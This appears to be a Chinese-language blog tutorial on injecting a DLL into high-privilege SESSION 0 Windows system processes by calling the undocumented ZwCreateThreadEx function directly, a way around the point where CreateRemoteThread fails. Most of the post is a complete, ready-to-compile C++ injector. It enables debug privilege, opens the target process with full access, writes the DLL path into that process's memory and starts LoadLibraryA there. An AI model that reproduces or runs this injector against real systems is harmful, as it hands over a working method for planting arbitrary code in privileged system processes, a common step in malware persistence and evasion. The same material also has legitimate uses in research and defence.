簡介
在之前的文章中曾說過利用CreateRemoteThread函數進行遠線程注入是最經典的一種方式。但是這種方式卻無法成功注入系統進程,因為系統進程是處在SESSION0高權限級別的會話層,用戶進程在執行CreateRemoteThread函數時會失敗。所以經過前輩們的研究發現,CreateRemoteThread底層會調用內核函數ZwCreateThreadEx,而系統調用此函數時,如果發現時系統進程,會把函數的第七個參數CreateSuspended設置為1,導致線程創建完成后會一直處於掛起狀態,無法恢復運行,導致注入失敗。所以我們必須手動調用ZwCreateThread這一內核函數,將第七個參數設置為0即可。系統進程注入成功后,由於會話層隔離機制,所以DLL的對話框並不會彈出,這時我們就需要使用PCHunter等工具直接查看進程模塊進行驗證。
然而ZwCreateThreadEx函數在ntdll.dll中並未聲明,所以必須手動使用GetProcAddress函數將其地址導出。
代碼樣例
////////////////////////////////
//
// FileName : KernelFuncInject.cpp
// Creator : PeterZheng
// Date : 2019/01/10 21:32
// Comment : Use Kernel Function To Inject
//
////////////////////////////////
#pragma once
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h>
#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
using namespace std;
// 提權函數
BOOL EnableDebugPriv(LPCSTR name)
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
// 打開進程令牌
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
{
printf("[!]Get Process Token Error!\n");
return false;
}
// 獲取權限Luid
if (!LookupPrivilegeValue(NULL, name, &luid))
{
printf("[!]Get Privilege Error!\n");
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 修改進程權限
if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
printf("[!]Adjust Privilege Error!\n");
return false;
}
return true;
}
// 根據進程名字獲取進程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
HANDLE hSnapProcess = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapProcess == NULL)
{
printf("[*] Create Process Snap Error!\n");
return FALSE;
}
PROCESSENTRY32 pe32 = { 0 };
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
BOOL bRet = ::Process32First(hSnapProcess, &pe32);
while (bRet)
{
if (_stricmp(pe32.szExeFile, szProcessName) == 0)
{
dwPid = pe32.th32ProcessID;
return TRUE;
}
bRet = ::Process32Next(hSnapProcess, &pe32);
}
return FALSE;
}
int main(int argc, char* argv[])
{
if (argc != 3)
{
printf("[*] Format Error! \nYou Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> \n");
return 0;
}
LPSTR szExeName = (LPSTR)::VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPSTR szDllPath = (LPSTR)::VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
::RtlZeroMemory(szExeName, 100);
::RtlZeroMemory(szDllPath, 100);
::StringCchCopy(szExeName, 100, argv[1]);
::StringCchCopy(szDllPath, 100, argv[2]);
DWORD dwPid = 0;
// 系統進程必須先提權才能打開,否則在OpenProcess步驟會失敗
EnableDebugPriv(SE_DEBUG_NAME);
BOOL bRet = GetProcessIdByName(szExeName, dwPid);
if (!bRet)
{
printf("[*] Get Process Id Error!\n");
return 0;
}
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
printf("[*] Open Process Error!\n");
return 0;
}
DWORD dwDllPathLen = strlen(szDllPath) + 1;
LPVOID lpBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpBaseAddress == NULL)
{
printf("[*] VirtualAllocEx Error!\n");
return 0;
}
SIZE_T dwWriten = 0;
// 把DLL路徑字符串寫入目標進程
::WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
if (dwWriten != dwDllPathLen)
{
printf("[*] Write Process Memory Error!\n");
return 0;
}
// 獲取LoadLibrary函數地址
LPVOID pLoadLibraryFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (pLoadLibraryFunc == NULL)
{
printf("[*] Get Func Address Error!\n");
return 0;
}
HMODULE hNtdll = ::LoadLibrary("ntdll.dll");
if (hNtdll == NULL)
{
printf("[*] Load NtDLL Error!\n");
return 0;
}
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL)
{
printf("[*] Get NTDLL Func Address Error!\n");
return 0;
}
DWORD dwStatus = 0;
HANDLE hRemoteThread = NULL;
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pLoadLibraryFunc, lpBaseAddress, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL)
{
printf("[*] Create Remote Thread Error!\n");
return 0;
}
// DLL路徑分割,方便輸出
LPCSTR szPathSign = "\\";
LPSTR p = NULL;
LPSTR next_token = NULL;
p = strtok_s(szDllPath, szPathSign, &next_token);
while (p)
{
StringCchCopy(szDllPath, 100, p);
p = strtok_s(NULL, szPathSign, &next_token);
}
printf("[*] High Privilege Inject Info [%s ==> %s] Success\n", szDllPath, szExeName);
::CloseHandle(hProcess);
::FreeLibrary(hNtdll);
::VirtualFree(szExeName, 0, MEM_RELEASE);
::VirtualFree(szDllPath, 0, MEM_RELEASE);
::ExitProcess(0);
return 0;
}
運行截圖
參考資料
- 《Windows黑客編程技術詳解》 【甘迪文 著】